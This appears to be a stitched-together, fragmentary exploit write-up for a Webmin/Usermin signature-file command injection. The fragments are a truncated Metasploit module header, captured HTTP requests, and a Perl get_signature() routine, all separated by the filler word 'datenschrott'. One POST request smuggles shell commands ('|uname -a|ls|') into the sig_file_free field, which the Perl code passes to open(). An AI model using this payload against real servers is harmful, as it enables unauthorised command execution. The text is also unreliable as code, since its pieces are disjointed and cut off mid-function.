datenschrott

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

datenschrott

GET /mailbox/reply_mail.cgi?new=1&folder=0 HTTP/1.1
Host: localhost:20000
Referer: https://localhost:20000/mailbox/index.cgi?folder=0&start=
Authorization: Basic dGVzdGVyOnRlc3R0ZXN0
----------------------------------------------------------------------
HTTP/1.0 200 Document follows
Date: Mon, 23 Feb 2015 22:51:57 GMT
Server: MiniServ/1.650
Connection: close
X-Frame-Options: SAMEORIGIN

datenschrott

POST /uconfig_save.cgi HTTP/1.1
Host: localhost:20000
Referer: https://localhost:20000/uconfig.cgi?module=mailbox&section=line1
Authorization: Basic dGVzdGVyOnRlc3R0ZXN0
Content-Length: 83

module=mailbox&sig_file=free&sig_file_free=%7Cuname+-a%7Cls%7C&sig_mode=0&save=Save

datenschrott

# get_signature()
# Returns the users signature, if any
sub get_signature
{
local $sf = &get_signature_file();
$sf || return undef;
local $sig;
open(SIG, $sf) || return undef;
while(<SIG>) {
        $sig .= $_;